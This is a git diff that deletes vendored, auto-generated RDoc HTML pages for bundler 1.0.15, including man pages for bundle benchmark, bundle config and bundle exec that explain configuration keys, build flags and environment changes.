-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>File: lazy_specification.rb [bundler-1.0.15 Documentation]</title>
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-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
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-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
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-	<script src="../../js/darkfish.js" type="text/javascript"
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-</head>
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-<body class="file file-popup">
-	<div id="metadata">
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-			<dt class="modified-date">Last Modified</dt>
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-
-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>uri</li>
-				
-					<li>rubygems/spec_fetcher</li>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
-
-	<div id="documentation">
-		
-		<div class="description">
-			<h2>Description</h2>
-			
-		</div>
-		
-	</div>
-</body>
-</html>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/lockfile_parser_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/lockfile_parser_rb.html
deleted file mode 100644
index 47f48e08..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/lockfile_parser_rb.html
+++ /dev/null
@@ -1,54 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: lockfile_parser.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
-
-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>strscan</li>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
-
-	<div id="documentation">
-		
-		<div class="description">
-			<h2>Description</h2>
-			
-		</div>
-		
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-benchmark.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-benchmark.html
deleted file mode 100644
index 05929d08..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-benchmark.html
+++ /dev/null
@@ -1,286 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: bundle-benchmark [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file">
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../../index.html">Home</a>
-          <a href="../../../index.html#classes">Classes</a>
-          <a href="../../../index.html#methods">Methods</a>
-        </h3>
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-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle.html">bundle</a></li>
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-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../../../images/find.png"
-						height="16" width="16" alt="[+]"
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-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
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-				
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-					<li><a href="../../../Bundler/Environment.html">Bundler::Environment</a></li>
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-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
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-	<div id="documentation">
-		<p>
-." generated with Ronn/v0.7.3 ." <a
-href="http://github.com/rtomayko/ronn/tree/0.7.3">github.com/rtomayko/ronn/tree/0.7.3</a>
-. .TH &#8220;BUNDLE-BENCHMARK&#8221; &#8220;1&#8221; &#8220;May 2011&#8221;
-&#8220;&#8221; &#8220;&#8221; . .SH &#8220;NAME&#8221; fBbundle-benchmarkfR
-- Display the time taken for each gem to be loaded . .SH
-&#8220;SYNOPSIS&#8221; fBbundle benchmarkfR [group] . .SH
-&#8220;DESCRIPTION&#8221; This command loads all your required dependencies
-as per Bundler.setup, and displays the total time spent in requiring each
-gem and its dependencies. . .P Use this command to track down problems with
-excessive boot time in your application, or to optimize specific groups in
-your Gemfile for fast setup. . .SH &#8220;GROUP OPTION&#8221; To test the
-load times for gems in a specific group, pass the group as an argument to
-fBbundle benchmarkfR. Omitting this option loads all dependencies in your
-Gemfile.
-</p>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-</body>
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-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-benchmark_txt.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-benchmark_txt.html
deleted file mode 100644
index c65d403b..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-benchmark_txt.html
+++ /dev/null
@@ -1,307 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: bundle-benchmark.txt [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/thickbox-compressed.js" type="text/javascript"
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-	<script src="../../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/darkfish.js" type="text/javascript"
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-</head>
-
-<body class="file">
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../../index.html">Home</a>
-          <a href="../../../index.html#classes">Classes</a>
-          <a href="../../../index.html#methods">Methods</a>
-        </h3>
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-
-		<div id="project-metadata">
-			
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-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
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-					<li class="file"><a href="../../../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
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-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
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-				<h3 class="section-header">Class Index
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-						height="16" width="16" alt="[+]"
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-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
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-					<li><a href="../../../Bundler.html">Bundler</a></li>
-				
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-				
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-				
-					<li><a href="../../../Bundler/Definition.html">Bundler::Definition</a></li>
-				
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-		<p>
-BUNDLE-BENCHMARK(1)                                       
-BUNDLE-BENCHMARK(1)
-</p>
-<p>
-NAME
-</p>
-<pre>
-       bundle-benchmark - Display the time taken for each gem to be loaded
-</pre>
-<p>
-SYNOPSIS
-</p>
-<pre>
-       bundle benchmark [group]
-</pre>
-<p>
-DESCRIPTION
-</p>
-<pre>
-       This command loads all your required dependencies as per Bundler.setup,
-       and displays the total time spent in requiring each gem and its  depen-
-       dencies.
-
-       Use  this  command  to  track down problems with excessive boot time in
-       your application, or to optimize specific groups in  your  Gemfile  for
-       fast setup.
-</pre>
-<p>
-GROUP OPTION
-</p>
-<pre>
-       To  test the load times for gems in a specific group, pass the group as
-       an argument to bundle benchmark. Omitting this option loads all  depen-
-       dencies in your Gemfile.
-
-                                   May 2011                BUNDLE-BENCHMARK(1)</pre>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-config.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-config.html
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-." generated with Ronn/v0.7.3 ." <a
-href="http://github.com/rtomayko/ronn/tree/0.7.3">github.com/rtomayko/ronn/tree/0.7.3</a>
-. .TH &#8220;BUNDLE-CONFIG&#8221; &#8220;1&#8221; &#8220;October
-2010&#8221; &#8220;&#8221; &#8220;&#8221; . .SH &#8220;NAME&#8221;
-fBbundle-configfR - Set bundler configuration options . .SH
-&#8220;SYNOPSIS&#8221; fBbundle configfR [fInamefR [fIvaluefR]] . .SH
-&#8220;DESCRIPTION&#8221; This command allows you to interact with
-bundler's configuration system. <a href="../../../Bundler.html">Bundler</a>
-retrieves its configuration from the local application
-(fBapp/.bundle/config\fR), environment variables, and the user's home
-directory (fB~/.bundle/config\fR), in that order of priority. . .P
-Executing fBbundle configfR with no parameters will print a list of all
-bundler configuration for the current bundle, and where that configuration
-was set. . .P Executing fBbundle config <name>fR will print the value of
-that configuration setting, and where it was set. . .P Executing fBbundle
-config <name> <value>fR will set that configuration to the value specified
-for all bundles executed as the current user. The configuration will be
-stored in fB~/.bundle/config\fR. . .SH &#8220;BUILD OPTIONS&#8221; You can
-use fBbundle configfR to give bundler the flags to pass to the gem
-installer every time bundler tries to install a particular gem. . .P A very
-common example, the fBmysqlfR gem, requires Snow Leopard users to pass
-configuration flags to fBgem installfR to specify where to find the
-fBmysql_config\fR executable. . .IP &#8220;&#8221; 4 . .nf
-</p>
-<p>
-gem install mysql -\-
--\-with-mysql-config=/usr/local/mysql/bin/mysql_config . .fi . .IP
-&#8220;&#8221; 0 . .P Since the specific location of that executable can
-change from machine to machine, you can specify these flags on a
-per-machine basis. . .IP &#8220;&#8221; 4 . .nf
-</p>
-<p>
-bundle config build.mysql
--\-with-mysql-config=/usr/local/mysql/bin/mysql_config . .fi . .IP
-&#8220;&#8221; 0 . .P After running this command, every time bundler needs
-to install the fBmysqlfR gem, it will pass along the flags you specified. .
-.SH &#8220;CONFIGURATION KEYS&#8221; Configuration keys in bundler have two
-forms: the canonical form and the environment variable form. . .P For
-instance, passing the fB-\-withoutfR flag to bundle install(1)
-fIbundle-install.1.htmlfR prevents <a
-href="../../../Bundler.html">Bundler</a> from installing certain groups
-specified in the Gemfile(5). <a href="../../../Bundler.html">Bundler</a>
-persists this value in fBapp/.bundle/config\fR so that calls to
-fBBundler.setupfR do not try to find gems from the fBGemfilefR that you
-didn't install. Additionally, subsequent calls to bundle install(1)
-fIbundle-install.1.htmlfR remember this setting and skip those groups. . .P
-The canonical form of this configuration is fB&#8220;without&#8220;fR. To
-convert the canonical form to the environment variable form, capitalize it,
-and prepend fBBUNDLE_fR. The environment variable form of
-fB&#8220;without&#8220;fR is fBBUNDLE_WITHOUT\fR. . .SH &#8220;LIST OF
-AVAILABLE KEYS&#8221; The following is a list of all configuration keys and
-their purpose. You can learn more about their operation in bundle
-install(1) fIbundle-install.1.htmlfR. . .TP fBpathfR (fBBUNDLE_PATH\fR) The
-location on disk to install gems. Defaults to fB$GEM_HOME\fR in development
-and fBvendor/bundler\fR when fB-\-deploymentfR is used . .TP fBfrozenfR
-(fBBUNDLE_FROZEN\fR) Disallow changes to the fBGemfilefR. Defaults to
-fBtruefR when fB-\-deploymentfR is used. . .TP fBwithoutfR
-(fBBUNDLE_WITHOUT\fR) A fB:fR-separated list of groups whose gems bundler
-should not install . .TP fBbinfR (fBBUNDLE_BIN\fR) Install executables from
-gems in the bundle to the specified directory. Defaults to fBfalsefR. . .TP
-fBgemfilefR (fBBUNDLE_GEMFILE\fR) The name of the file that bundler should
-use as the fBGemfilefR. This location of this file also sets the root of
-the project, which is used to resolve relative paths in the fBGemfilefR,
-among other things. By default, bundler will search up from the current
-working directory until it finds a fBGemfilefR. . .P In general, you should
-set these settings per-application by using the applicable flag to the
-bundle install(1) fIbundle-install.1.htmlfR command. . .P You can set them
-globally either via environment variables or fBbundle configfR, whichever
-is preferable for your setup. If you use both, environment variables will
-take preference over global settings.
-</p>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-config_txt.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-config_txt.html
deleted file mode 100644
index 16f1c83c..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-config_txt.html
+++ /dev/null
@@ -1,386 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>File: bundle-config.txt [bundler-1.0.15 Documentation]</title>
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-		<p>
-BUNDLE-CONFIG(1)                                             
-BUNDLE-CONFIG(1)
-</p>
-<p>
-NAME
-</p>
-<pre>
-       bundle-config - Set bundler configuration options
-</pre>
-<p>
-SYNOPSIS
-</p>
-<pre>
-       bundle config [name [value]]
-</pre>
-<p>
-DESCRIPTION
-</p>
-<pre>
-       This  command  allows you to interact with bundler's configuration sys-
-       tem. Bundler retrieves its configuration  from  the  local  application
-       (app/.bundle/config), environment variables, and the user's home direc-
-       tory (~/.bundle/config), in that order of priority.
-
-       Executing bundle config with no parameters will print  a  list  of  all
-       bundler configuration for the current bundle, and where that configura-
-       tion was set.
-
-       Executing bundle config &lt;name&gt; will print the value of that  configura-
-       tion setting, and where it was set.
-
-       Executing  bundle  config &lt;name&gt; &lt;value&gt; will set that configuration to
-       the value specified for all bundles executed as the current  user.  The
-       configuration will be stored in ~/.bundle/config.
-</pre>
-<p>
-BUILD OPTIONS
-</p>
-<pre>
-       You  can use bundle config to give bundler the flags to pass to the gem
-       installer every time bundler tries to install a particular gem.
-
-       A very common example, the mysql gem, requires Snow  Leopard  users  to
-       pass  configuration  flags  to gem install to specify where to find the
-       mysql_config executable.
-
-           gem install mysql -- --with-mysql-config=/usr/local/mysql/bin/mysql_config
-
-       Since the specific location of that executable can change from  machine
-       to machine, you can specify these flags on a per-machine basis.
-
-           bundle config build.mysql --with-mysql-config=/usr/local/mysql/bin/mysql_config
-
-       After  running  this  command,  every time bundler needs to install the
-       mysql gem, it will pass along the flags you specified.
-</pre>
-<p>
-CONFIGURATION KEYS
-</p>
-<pre>
-       Configuration keys in bundler have two forms: the  canonical  form  and
-       the environment variable form.
-
-       For  instance,  passing  the  --without  flag to bundle install(1) bun-
-       dle-install.1.html prevents  Bundler  from  installing  certain  groups
-       specified  in  the Gemfile(5). Bundler persists this value in app/.bun-
-       dle/config so that calls to Bundler.setup do not try to find gems  from
-       the  Gemfile that you didn't install. Additionally, subsequent calls to
-       bundle install(1) bundle-install.1.html remember this setting and  skip
-       those groups.
-
-       The  canonical  form of this configuration is &quot;without&quot;. To convert the
-       canonical form to the environment variable  form,  capitalize  it,  and
-       prepend  BUNDLE_.  The  environment  variable form of &quot;without&quot; is BUN-
-       DLE_WITHOUT.
-</pre>
-<p>
-LIST OF AVAILABLE KEYS
-</p>
-<pre>
-       The following is a list of all configuration keys  and  their  purpose.
-       You  can  learn  more  about  their operation in bundle install(1) bun-
-       dle-install.1.html.
-
-       path (BUNDLE_PATH)
-              The location on disk to install gems. Defaults to  $GEM_HOME  in
-              development and vendor/bundler when --deployment is used
-
-       frozen (BUNDLE_FROZEN)
-              Disallow changes to the Gemfile. Defaults to true when --deploy-
-              ment is used.
-
-       without (BUNDLE_WITHOUT)
-              A :-separated list of  groups  whose  gems  bundler  should  not
-              install
-
-       bin (BUNDLE_BIN)
-              Install  executables  from  gems  in the bundle to the specified
-              directory. Defaults to false.
-
-       gemfile (BUNDLE_GEMFILE)
-              The name of the file that bundler should  use  as  the  Gemfile.
-              This  location  of  this file also sets the root of the project,
-              which is used to resolve relative paths in  the  Gemfile,  among
-              other  things.  By default, bundler will search up from the cur-
-              rent working directory until it finds a Gemfile.
-
-       In general, you should set these settings per-application by using  the
-       applicable flag to the bundle install(1) bundle-install.1.html command.
-
-       You can set them globally either via environment  variables  or  bundle
-       config,  whichever is preferable for your setup. If you use both, envi-
-       ronment variables will take preference over global settings.
-
-                                 October 2010                 BUNDLE-CONFIG(1)</pre>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-exec.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-exec.html
deleted file mode 100644
index 28ba160d..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-exec.html
+++ /dev/null
@@ -1,357 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: bundle-exec [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file">
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../../index.html">Home</a>
-          <a href="../../../index.html#classes">Classes</a>
-          <a href="../../../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
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-			
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-				<h3 class="section-header">Files</h3>
-				<ul>
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-	<div id="documentation">
-		<p>
-." generated with Ronn/v0.7.3 ." <a
-href="http://github.com/rtomayko/ronn/tree/0.7.3">github.com/rtomayko/ronn/tree/0.7.3</a>
-. .TH &#8220;BUNDLE-EXEC&#8221; &#8220;1&#8221; &#8220;January 2011&#8221;
-&#8220;&#8221; &#8220;&#8221; . .SH &#8220;NAME&#8221; fBbundle-execfR -
-Execute a command in the context of the bundle . .SH &#8220;SYNOPSIS&#8221;
-fBbundle execfR fIcommandfR . .SH &#8220;DESCRIPTION&#8221; This command
-executes the command, making all gems specified in the fBGemfile(5)fR
-available to fBrequirefR in Ruby programs. . .P Essentially, if you would
-normally have run something like fBrspec spec/my_spec\.rbfR, and you want
-to use the gems specified in the fBGemfile(5)fR and installed via bundle
-install(1) fIbundle-install.1.htmlfR, you should run fBbundle exec rspec
-spec/my_spec\.rbfR. . .P Note that fBbundle execfR does not require that an
-executable is available on your shell's fB$PATHfR. . .SH &#8220;BUNDLE
-INSTALL -\-BINSTUBS&#8221; If you use the fB-\-binstubsfR flag in bundle
-install(1) fIbundle-install.1.htmlfR, <a
-href="../../../Bundler.html">Bundler</a> will automatically create a
-directory (which defaults to fBapp_root/bin\fR) containing all of the
-executables available from gems in the bundle. . .P After using
-fB-\-binstubsfR, fBbin/rspec spec/my_spec\.rbfR is identical to fBbundle
-exec rspec spec/my_spec\.rbfR. . .SH &#8220;ENVIRONMENT
-MODIFICATIONS&#8221; fBbundle execfR makes a number of changes to the shell
-environment, then executes the command you specify in full. . .IP
-&#8220;(bu&#8221; 4 make sure that it's still possible to shell out to
-fBbundlefR from inside a command invoked by fBbundle execfR (using
-fB$BUNDLE_BIN_PATH\fR) . .IP &#8220;(bu&#8221; 4 put the directory
-containing executables (like fBrailsfR, fBrspecfR, fBrackupfR) for your
-bundle on fB$PATHfR . .IP &#8220;(bu&#8221; 4 make sure that if bundler is
-invoked in the subshell, it uses the same fBGemfilefR (by setting
-fBBUNDLE_GEMFILE\fR) . .IP &#8220;(bu&#8221; 4 add fB-rbundler/setup\fR to
-fB$RUBYOPTfR, which makes sure that Ruby programs invoked in the subshell
-can see the gems in the bundle . .IP &#8220;&#8221; 0 . .P It also modifies
-Rubygems: . .IP &#8220;(bu&#8221; 4 disallow loading additional gems not in
-the bundle . .IP &#8220;(bu&#8221; 4 modify the fBgemfR method to be a
-no-op if a gem matching the requirements is in the bundle, and to raise a
-fBGem::LoadErrorfR if it's not . .IP &#8220;(bu&#8221; 4 Define
-fBGem.refreshfR to be a no-op, since the source index is always frozen when
-using bundler, and to prevent gems from the system leaking into the
-environment . .IP &#8220;(bu&#8221; 4 Override fBGem.bin_path\fR to use the
-gems in the bundle, making system executables work . .IP &#8220;(bu&#8221;
-4 Add all gems in the bundle into Gem.loaded_specs . .IP &#8220;&#8221; 0 .
-.SS &#8220;Shelling out&#8221; When shelling out (using the fBsystemfR or
-backticks methods, for example), Bundler's environment changes will
-propogate to the subshell environment. If you desire to shell out without
-Bundler's environment changes, simply employ the fBwith_clean_env\fR
-method. It will restore all environment variables to what they were before
-<a href="../../../Bundler.html">Bundler</a> was activated. For example: .
-.IP &#8220;&#8221; 4 . .nf
-</p>
-<p>
-Bundler.with_clean_env do
-</p>
-<pre>
-  `brew install wget`
-</pre>
-<p>
-end . .fi . .IP &#8220;&#8221; 0 . .SH &#8220;RUBYGEMS PLUGINS&#8221; At
-present, the Rubygems plugin system requires all files named
-fBrubygems_plugin\.rbfR on the load path of fIanyfR installed gem when any
-Ruby code requires fBrubygems.rbfR. This includes executables installed
-into the system, like fBrailsfR, fBrackupfR, and fBrspecfR. . .P Since
-Rubygems plugins can contain arbitrary Ruby code, they commonly end up
-activating themselves or their dependencies. . .P For instance, the
-fBgemcutter 0.5fR gem depended on fBjson_pure\fR. If you had that version
-of gemcutter installed (even if you fIalsofR had a newer version without
-this problem), Rubygems would activate fBgemcutter 0.5fR and fBjson_pure
-<latest>fR. . .P If your Gemfile(5) also contained fBjson_pure\fR (or a gem
-with a dependency on fBjson_pure\fR), the latest version on your system
-might conflict with the version in your Gemfile(5), or the snapshot version
-in your fBGemfile.lockfR. . .P If this happens, bundler will say: . .IP
-&#8220;&#8221; 4 . .nf
-</p>
-<p>
-You have already activated json_pure 1.4.6 but your Gemfile requires
-json_pure 1.4.3. Consider using bundle exec. . .fi . .IP &#8220;&#8221; 0 .
-.P In this situation, you almost certainly want to remove the underlying
-gem with the problematic gem plugin. In general, the authors of these
-plugins (in this case, the fBgemcutterfR gem) have released newer versions
-that are more careful in their plugins. . .P You can find a list of all the
-gems containing gem plugins by running . .IP &#8220;&#8221; 4 . .nf
-</p>
-<p>
-ruby -rubygems -e &#8220;puts Gem.find_files('rubygems_plugin\.rb')&#8221;
-. .fi . .IP &#8220;&#8221; 0 . .P At the very least, you should remove all
-but the newest version of each gem plugin, and also remove all gem plugins
-that you aren't using (fBgem uninstall gem_name\fR).
-</p>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-exec_txt.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-exec_txt.html
deleted file mode 100644
index 22a5f332..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-exec_txt.html
+++ /dev/null
@@ -1,401 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: bundle-exec.txt [bundler-1.0.15 Documentation]</title>
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-	<div id="documentation">
-		<p>
-BUNDLE-EXEC(1)                                                 
-BUNDLE-EXEC(1)
-</p>
-<p>
-NAME
-</p>
-<pre>
-       bundle-exec - Execute a command in the context of the bundle
-</pre>
-<p>
-SYNOPSIS
-</p>
-<pre>
-       bundle exec command
-</pre>
-<p>
-DESCRIPTION
-</p>
-<pre>
-       This  command  executes  the  command, making all gems specified in the
-       Gemfile(5) available to require in Ruby programs.
-
-       Essentially, if you  would  normally  have  run  something  like  rspec
-       spec/my_spec.rb,  and  you  want  to use the gems specified in the Gem-
-       file(5) and installed via bundle install(1) bundle-install.1.html,  you
-       should run bundle exec rspec spec/my_spec.rb.
-
-       Note  that bundle exec does not require that an executable is available
-       on your shell's $PATH.
-</pre>
-<p>
-BUNDLE INSTALL &#8212;BINSTUBS
-</p>
-<pre>
-       If  you  use  the   --binstubs   flag   in   bundle   install(1)   bun-
-       dle-install.1.html,  Bundler  will  automatically  create  a  directory
-       (which defaults to app_root/bin)  containing  all  of  the  executables
-       available from gems in the bundle.
-
-       After  using --binstubs, bin/rspec spec/my_spec.rb is identical to bun-
-       dle exec rspec spec/my_spec.rb.
-</pre>
-<p>
-ENVIRONMENT MODIFICATIONS
-</p>
-<pre>
-       bundle exec makes a number of changes to the  shell  environment,  then
-       executes the command you specify in full.
-
-       o   make  sure  that  it's  still  possible to shell out to bundle from
-           inside a command invoked by bundle exec (using $BUNDLE_BIN_PATH)
-
-       o   put  the  directory  containing  executables  (like  rails,  rspec,
-           rackup) for your bundle on $PATH
-
-       o   make  sure  that if bundler is invoked in the subshell, it uses the
-           same Gemfile (by setting BUNDLE_GEMFILE)
-
-       o   add -rbundler/setup to $RUBYOPT, which makes sure  that  Ruby  pro-
-           grams invoked in the subshell can see the gems in the bundle
-
-       It also modifies Rubygems:
-
-       o   disallow loading additional gems not in the bundle
-
-       o   modify  the gem method to be a no-op if a gem matching the require-
-           ments is in the bundle, and to raise a Gem::LoadError if it's not
-
-       o   Define Gem.refresh to be a no-op, since the source index is  always
-           frozen  when  using  bundler,  and  to prevent gems from the system
-           leaking into the environment
-
-       o   Override Gem.bin_path to use the gems in the bundle, making  system
-           executables work
-
-       o   Add all gems in the bundle into Gem.loaded_specs
-
-   Shelling out
-       When shelling out (using the system or backticks methods, for example),
-       Bundler's environment changes will propogate to the  subshell  environ-
-       ment. If you desire to shell out without Bundler's environment changes,
-       simply employ the with_clean_env method. It will restore  all  environ-
-       ment  variables  to  what  they  were before Bundler was activated. For
-       example:
-
-           Bundler.with_clean_env do
-             `brew install wget`
-           end
-</pre>
-<p>
-RUBYGEMS PLUGINS
-</p>
-<pre>
-       At present,  the  Rubygems  plugin  system  requires  all  files  named
-       rubygems_plugin.rb  on the load path of any installed gem when any Ruby
-       code requires rubygems.rb. This includes executables installed into the
-       system, like rails, rackup, and rspec.
-
-       Since  Rubygems  plugins can contain arbitrary Ruby code, they commonly
-       end up activating themselves or their dependencies.
-
-       For instance, the gemcutter 0.5 gem depended on json_pure. If  you  had
-       that  version of gemcutter installed (even if you also had a newer ver-
-       sion without this problem), Rubygems would activate gemcutter  0.5  and
-       json_pure &lt;latest&gt;.
-
-       If your Gemfile(5) also contained json_pure (or a gem with a dependency
-       on json_pure), the latest version on your system  might  conflict  with
-       the  version  in  your Gemfile(5), or the snapshot version in your Gem-
-       file.lock.
-
